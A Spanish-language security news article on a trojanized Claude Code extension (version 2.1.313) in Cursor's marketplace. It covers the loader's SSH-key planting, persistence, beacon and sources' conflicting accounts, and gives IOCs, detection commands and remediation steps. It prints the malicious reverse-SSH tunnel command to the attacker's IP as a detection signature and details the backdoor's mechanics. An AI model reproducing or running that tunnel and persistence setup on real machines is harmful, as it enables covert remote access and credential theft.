Ilustración abstracta de pintura fluida en tonos azul marino, rojo y blanco para la noticia: Cursor sirvió once horas una extensión de Claude Code con backdoor SSH

Ciberataques

Cursor sirvió once horas una extensión de Claude Code con backdoor SSH

La versión 2.1.313 de Claude Code para VS Code en el marketplace de Cursor plantó una clave SSH y un túnel inverso en hasta 5.000 equipos.

«This malicious version of the extension was not developed by Anthropic» (esta versión maliciosa de la extensión no la desarrolló Anthropic). Con esa frase abre Cursor el aviso con el que reconoce que su marketplace de extensiones sirvió durante once horas del 29 de octubre de 2026 una versión 2.1.313 de Claude Code para VS Code que plantaba una clave SSH del atacante, abría un túnel inverso hacia 134.209.82.225 y dejaba persistencia en macOS, Linux y Windows. La compañía cifra los afectados en 5.000 usuarios como máximo, y los tres laboratorios que han analizado el paquete coinciden en que desinstalar la extensión no cierra la puerta.

Lo que Cursor ha confirmado y lo que Anthropic todavía no ha dicho

Según el aviso de Cursor, fechado el 29 de octubre, la versión manipulada estuvo disponible entre las 2:27 y las 13:35 hora del Pacífico, es decir, entre las 10:27 y las 21:35 hora peninsular, bajo el identificador legítimo Anthropic.claude-code. Al detectarla, la empresa retiró el paquete, apagó su marketplace completo como medida preventiva, auditó los accesos, rotó las claves y volvió a levantar el servicio tras comprobar que ninguna otra extensión había sido alterada. También contactó con el proveedor de hosting del servidor del atacante para que lo desconectara, de modo que el túnel y el envío de datos ya no funcionan. Cursor lo anunció en X a las 07:46 UTC del 30 de octubre, las 00:46 en California, con el aviso ya publicado.

El aviso dice que Cursor contactará directamente con los afectados y que tiene «no evidence that other versions of the extension or the official distribution are affected» (ninguna prueba de que otras versiones de la extensión o la distribución oficial estén afectadas). Lo que el aviso no cuenta es cómo llegó al marketplace una versión firmada con el identificador de Anthropic, quién la subió ni si hubo credenciales de publicación comprometidas. Anthropic no había publicado comunicado alguno en el momento de escribir esta noticia, a media tarde del 30 de octubre, y su registro de cambios salta de la 2.1.312 a la 2.1.314 sin mencionar la versión intermedia. Es la misma semana en la que el blog ha seguido el stealer de LiteLLM 1.107.0 y los binarios sustituidos de OVHcloud CLI, dos casos en los que el canal oficial del proveedor entregó el malware.

Un IIFE de 66 líneas delante del código legítimo de Claude Code

OpenSourceMalware publicó el 30 de octubre a las 09:42 UTC el primer análisis del paquete, con agradecimiento a Dean Hardcastle por el aviso. El fichero extension.js de la 2.1.313 empieza con una función autoinvocada de 66 líneas que carga los módulos child_process, fs, os, path, http y crypto de Node.js y se ejecuta en cuanto el editor carga el fichero, antes de que la extensión llame a su activate. El resto del bundle es la extensión real, así que Claude Code sigue funcionando y el usuario no ve nada raro, la misma idea de ejecutar en la carga que ya vimos en el addon nativo de MALFEX para npm. El diagrama del laboratorio ordena los cuatro pasos.

Diagrama de OpenSourceMalware con la cadena de ataque de la extensión Claude Code 2.1.313, del loader al túnel SSH inverso
Fuente: OpenSourceMalware, «Trojanized Claude Code Extension Plants an SSH Backdoor»

Calum Hall, CEO de Phorion, lo explica en el informe de su empresa: «The user doesn’t need to interact with the extension for the payload to fire» (el usuario no tiene que interactuar con la extensión para que el payload se dispare). El loader añade a ~/.ssh/authorized_keys una clave pública Ed25519 con el comentario svc-telemetry, deja el directorio con permisos 0700 y el fichero con 0600, e intenta activar el servicio SSH local con systemctl, service o init.d en Linux, con systemsetup -setremotelogin on en macOS y con la instalación de OpenSSH Server por PowerShell en Windows. Después decodifica una clave privada embebida a un fichero temporal .stk_ seguido de diez caracteres hexadecimales y lanza, con autossh si existe o con ssh si no, un túnel inverso hacia tunnel@134.209.82.225 con el parámetro -R *:0:localhost:22, de forma que el servidor del atacante recibe un puerto que apunta al sshd de la víctima. Si la conexión cae, la reintenta cada 60 segundos.

Con los parámetros que enumera Cursor en su aviso, la línea de comando del túnel queda así, y esa es la firma de proceso que conviene buscar en el EDR.

ssh -N -R '*:0:localhost:22' -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes \
    -o IdentitiesOnly=yes -i "$TMPDIR/.stk_<10 hex>" tunnel@134.209.82.225

Cuando autossh está instalado, el loader lo usa con -M 0 y los mismos parámetros.

La persistencia depende del sistema. En macOS crea un LaunchAgent de usuario llamado com.apple.sysmond que ejecuta ~/.config/.smt con RunAtLoad y KeepAlive. En Linux añade una entrada @reboot al crontab del usuario, con un error que, según Phorion, puede borrar las tareas cron existentes en ejecuciones repetidas. En Windows crea una tarea programada SysMon que pide ejecutarse como SYSTEM y, si falla, deja un sysmon.cmd en la carpeta de inicio. Pasado un segundo y medio, el loader consulta su IP pública en ifconfig.me o api.ipify.org y envía por HTTP sin cifrar un POST a /beacon en el puerto 8099 con el hostname, el usuario, el sistema, la arquitectura, el directorio personal, el de trabajo, el correo configurado en Git y los nombres de hasta 40 variables de entorno que contengan KEY, TOKEN, SECRET, PASS, AWS o GCP. Los valores no viajan, pero la lista le dice al operador qué equipos guardan credenciales de nube y por cuál empezar.

Hay dos fallos de programación que limitan el daño y que Cursor y Phorion describen de forma distinta. En macOS, systemsetup -getremotelogin sin privilegios devuelve un mensaje de error y sale con código 0, el script no encuentra la palabra Off y se salta el paso que activaría SSH. Phorion avisa de que «This bug can break the final step of the access chain» (este fallo puede romper el último paso de la cadena de acceso), pero recuerda que en un Mac con el acceso remoto ya activado, o en el que el usuario lo active después, la clave está lista. Cursor sostiene que, salvo que el editor se ejecutara como administrador, el paso de activar SSH fallaba en casi todos los equipos. Ninguna de las dos fuentes habla de Linux, donde sshd suele estar ya en marcha en muchas estaciones de desarrollo, y ahí la clave plantada no necesita ningún paso adicional. Es nuestra lectura, no la de los laboratorios.

Open VSX, Cursor y el marketplace de Microsoft, tres relatos que no coinciden

Dónde estuvo disponible la 2.1.313 es el dato en el que las fuentes se contradicen. Kevin Beaumont fue de los primeros en alertar, a las 08:07 UTC del 30 de octubre, y lo encuadró sin matices: «To be clear this is a supply chain attack» (para que quede claro, esto es un ataque a la cadena de suministro). En el mismo hilo sostiene que la extensión afectada era la de Visual Studio Code y la de Cursor, que Anthropic retiró la versión sin comunicar un incidente y que las versiones de reemplazo no eliminan el backdoor ya instalado.

StepSecurity afirma en su análisis que la versión se publicó en Open VSX bajo el espacio de nombres legítimo de Anthropic a las 09:27 UTC del 29 de octubre y que el marketplace de Cursor, que replica ese registro, la expuso en la misma ventana hasta las 20:35 UTC. OpenSourceMalware escribió primero lo mismo y después actualizó su artículo para decir que Cursor le había comunicado que el origen estaba en su propio marketplace y no en Open VSX, y que ni la versión de Open VSX ni la del marketplace de Microsoft ni el paquete npm son maliciosos. Help Net Security recoge una actualización en la que Ax Sharma, responsable de investigación de Manifold Security, niega que Open VSX estuviera comprometido y añade: «Checking the publisher name doesn’t help when the publisher is real» (comprobar el nombre del editor no sirve cuando el editor es real).

Lo que se puede verificar hoy es poco. La API de Open VSX devuelve para anthropic.claude-code las versiones 2.1.312, publicada el 27 de octubre a las 20:26 UTC, y 2.1.314, publicada el 30 de octubre a las 01:07 UTC, y responde que la 2.1.313 no existe. No hay forma de saber desde fuera si estuvo y se borró o si nunca llegó a ese registro. La misma API cuenta 63 millones de descargas acumuladas de la extensión en Open VSX, la cifra que da la medida de lo que habría supuesto un compromiso de ese registro. Beaumont afirma además haber confirmado que Binance usa Claude Code sobre Cursor con esta extensión. Ninguna fuente relaciona este incidente con el robo a Binance del 29 de octubre, y nosotros tampoco lo hacemos.

El panel de StepSecurity muestra cómo quedó la extensión tras el incidente: marcada como malware, con la 2.1.313 instalada en la ruta de extensiones de Cursor de un Mac.

Panel de StepSecurity que marca como malware la extensión Claude Code 2.1.313 instalada en un Mac con Cursor
Fuente: StepSecurity, «Trojanized Claude Code Extension Delivered Persistent SSH Backdoor to Developer Machines»

Indicadores de compromiso publicados por Cursor, Phorion y StepSecurity

Los tres documentos coinciden en los indicadores. La tabla reúne los que sirven para buscar en endpoints, proxies y EDR, con los valores tal como los publican OpenSourceMalware y StepSecurity.

Tipo

Valor

Contexto

IP

134.209.82.225

Servidor del atacante: túnel SSH inverso por TCP 22 con el usuario tunnel y beacon HTTP en el puerto 8099

URL

http://134.209.82.225:8099/beacon

POST con el perfil del equipo, enviado también a 127.0.0.1:8099

nombre de paquete

anthropic.claude-code@2.1.313

Versión manipulada, instalada en las carpetas anthropic.claude-code-2.1.313-darwin-arm64 y -win32-x64

hash SHA-256

ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

extension.js con el loader inyectado, 3.692.922 bytes

hash SHA-256

432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62

Paquete VSIX darwin-arm64

hash SHA-256

3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081

Paquete VSIX win32-x64

hash SHA-256

7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278

Clave privada Ed25519 del túnel, embebida en el loader

hash SHA-256

22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0

smt.cmd, script de persistencia en Windows

hash MD5

da5469c4221775e9fe2e413e59ca7fd9

Paquete VSIX darwin-arm64, según Cursor

hash MD5

bd3b71ddf3d0cc3af76249afd2c0eda1

Paquete VSIX win32-x64, según Cursor

ruta de archivo

~/.ssh/authorized_keys

Entrada añadida con el comentario svc-telemetry

ruta de archivo

~/.config/.smt y ~/.config/.smtk

Script de persistencia y clave del túnel en macOS y Linux

ruta de archivo

~/Library/LaunchAgents/com.apple.sysmond.plist

LaunchAgent de persistencia en macOS, con RunAtLoad y KeepAlive

ruta de archivo

$TMPDIR/.stk_<10 hex>

Clave privada del túnel decodificada en el directorio temporal

ruta de archivo

%USERPROFILE%\.config\smt.cmd y %USERPROFILE%\.config\smtk

Persistencia en Windows, lanzada por la tarea SysMon

ruta de archivo

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd

Respaldo de persistencia si no se puede crear la tarea SysMon

A los ficheros hay que sumar la tarea programada SysMon en Windows, el LaunchAgent com.apple.sysmond en macOS y la entrada @reboot en el crontab de Linux. Las huellas de las dos claves Ed25519 también sirven para cazar: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk es la clave que el atacante planta en authorized_keys y SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ, la que usa el túnel. Phorion recomienda buscar por huella y no por el comentario svc-telemetry, porque el script comprueba la cadena de texto y no la clave, y un comentario se cambia en segundos. Las consultas a ifconfig.me y api.ipify.org no son indicador por sí solas.

Los procesos delatan el túnel aunque el servidor ya esté caído, porque el bucle sigue intentándolo cada minuto. Los analistas no han encontrado ninguna descarga de segunda fase: los scripts y la clave del túnel van embebidos en la extensión, así que lo que hay en el equipo es todo lo que el paquete trajo.

Buscar svc-telemetry y com.apple.sysmond antes de reinstalar Claude Code

Cursor publica un comando de comprobación para macOS y otro para Windows, además de dos scripts de limpieza, remediate-macos.sh y remediate-windows.ps1, enlazados desde su aviso. Estas líneas combinan ese comando con las rutas que listan Phorion y StepSecurity para macOS y Linux, y se pueden ejecutar sin abrir el editor.

# Clave plantada en authorized_keys (por comentario y por huella)
grep -s svc-telemetry ~/.ssh/authorized_keys
ssh-keygen -lf ~/.ssh/authorized_keys 2>/dev/null | grep -E '0Z6R\+DF64Do2nwQic8a7kkfDLNNk4IiK\+2U2Rci4htk'

# Scripts de persistencia, clave del túnel y LaunchAgent
ls -la ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* 2>/dev/null
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
crontab -l 2>/dev/null | grep -E '@reboot.*\.smt'

# Túnel en marcha y versión instalada
pgrep -af 'ssh.*-R \*:0:localhost:22|autossh'
ls -d ~/.cursor/extensions/anthropic.claude-code-2.1.313* ~/.vscode*/extensions/anthropic.claude-code-2.1.313* 2>/dev/null

En Windows, el equivalente de Cursor busca la cadena en el authorized_keys del usuario y en el fichero de administradores del servicio OpenSSH.

Select-String -Path "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys" -Pattern "svc-telemetry" -ErrorAction SilentlyContinue
schtasks /query /tn SysMon 2>$null
Get-ChildItem "$env:USERPROFILE\.config\smt.cmd","$env:USERPROFILE\.config\smtk","$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd" -ErrorAction SilentlyContinue

Si alguna comprobación da positivo, Cursor, Phorion y StepSecurity proponen el mismo orden de trabajo.

  1. Aísla el equipo de la red y conserva las evidencias antes de borrar nada. Mata el bucle de reintento y cualquier proceso ssh o autossh con destino 134.209.82.225.
  2. Descarga el LaunchAgent con launchctl unload y borra el plist, ~/.config/.smt, ~/.config/.smtk y los ficheros .stk_* del temporal. En Linux elimina la entrada @reboot del crontab. En Windows borra la tarea SysMon, el sysmon.cmd de la carpeta de inicio y los ficheros smt.cmd y smtk. Cursor ofrece sus scripts para esta parte.
  3. Retira la clave svc-telemetry de authorized_keys y, en macOS, comprueba que el acceso remoto está desactivado en Ajustes del Sistema.
  4. Rota desde otro equipo todas las credenciales que ese usuario podía alcanzar, empezando por las que coincidan con el filtro del beacon: tokens de nube de AWS y Google Cloud, claves de API, tokens de Git, de CI/CD y de registros de paquetes, y claves SSH propias. Cursor advierte de que la recogida limitada del beacon no descarta un acceso posterior por el túnel.
  5. Revisa los registros de sshd en busca de inicios de sesión con la clave svc-telemetry desde 127.0.0.1 o ::1. Según Phorion, esa es la firma de una sesión interactiva del operador a través del túnel. Si aparece, da por comprometido todo lo que había en el equipo y plantéate reconstruirlo.
  6. Desinstala la 2.1.313 e instala la 2.1.314 o posterior. Hazlo al final, porque la actualización no toca nada de lo anterior.
  7. Bloquea en el firewall y en el proxy el tráfico hacia 134.209.82.225 en los puertos 22 y 8099 y crea una alerta para cualquier proceso ssh con un reenvío -R *:0:localhost:22.
  8. Si confirmas el acceso o el robo de credenciales, notifícalo a INCIBE-CERT si eres empresa o particular y al CCN-CERT si perteneces al sector público. Ni uno ni otro habían publicado aviso sobre este incidente en el momento de escribir esta noticia.

Para la detección continua, Phorion propone vigilar que un proceso auxiliar del editor, como Cursor Helper o Code Helper, escriba en authorized_keys. El loader usa appendFileSync de Node, así que una regla que solo mire echo o tee no lo verá. Otras señales son un proceso que no sea de Apple creando LaunchAgents con prefijo com.apple y cualquier ssh con fichero de identidad en /tmp/.stk_* o en ~/.config/.smtk. Quien administre flotas de desarrolladores encontrará en la guía de herramientas DevSecOps del blog el inventario de controles para extensiones y dependencias, y en la pieza sobre identidad y control de accesos en la nube el criterio para decidir qué credenciales rotar primero.

Once horas entre la retirada de la 2.1.313 y el aviso público de Cursor

Fecha y hora

Hecho

27 de octubre de 2026, 20:26 UTC

Open VSX publica la 2.1.312, la última versión limpia anterior al incidente

29 de octubre, 09:27 UTC

La 2.1.313 manipulada aparece en el marketplace de Cursor (2:27 hora del Pacífico, según Cursor)

29 de octubre, 20:35 UTC

Cursor retira la versión, apaga su marketplace y empieza a rotar claves

30 de octubre, 01:07 UTC

La 2.1.314 se publica en Open VSX

30 de octubre, 07:46 UTC

Cursor anuncia el incidente en X con su aviso de seguridad ya publicado

30 de octubre, 08:07 UTC

Kevin Beaumont alerta en Mastodon y lo califica de ataque a la cadena de suministro

30 de octubre, 09:42 UTC

OpenSourceMalware publica el análisis del loader de 66 líneas

30 de octubre, 10:21 UTC

Beaumont informa de que el servidor de mando está fuera de línea

30 de octubre, 12:03 UTC

Help Net Security recoge la negativa de Manifold Security sobre Open VSX

Entre la retirada de la versión y el anuncio de Cursor pasaron más de once horas, y en ese intervalo la única señal para un administrador era un número de versión que desaparecía de los registros. El aviso de Cursor insiste en que el backdoor funcional requería privilegios que la extensión no tenía, y es cierto para la mayoría de los Mac y los Windows, pero la clave, los scripts de persistencia y el beacon se instalaron igual en cada equipo que cargó la 2.1.313, y eso es lo que hay que limpiar hoy. Un atacante que ya tiene una clave en authorized_keys y un script que arranca con la sesión no necesita que el primer intento salga bien.

El dato que más pesa es el que falta: cómo entró una versión con el identificador de Anthropic en el marketplace de Cursor. Mientras ninguna de las dos empresas lo explique, no se puede descartar ni una cuenta de publicación robada ni un fallo en la infraestructura del marketplace, y cada hipótesis obliga a una revisión distinta. Las extensiones de editor son el mismo vector que ya vimos en el origen del compromiso de OVHcloud, donde una extensión troyanizada en el portátil de un desarrollador acabó meses después en binarios sustituidos, y aquel caso sirve de advertencia para este. Las actualizaciones automáticas de extensiones instalan código con los permisos del usuario, sin revisión y sin que nadie lo apruebe, y un identificador de editor verificado solo prueba quién creó el listado, no quién subió la última versión. Quien no pueda desactivar esas actualizaciones en los equipos de desarrollo debería al menos saber, con un inventario, qué versión de cada extensión corre en cada puesto, porque hoy esa es la única forma de responder a la pregunta de si la 2.1.313 pasó por allí.

Temas

No hay comentarios todavía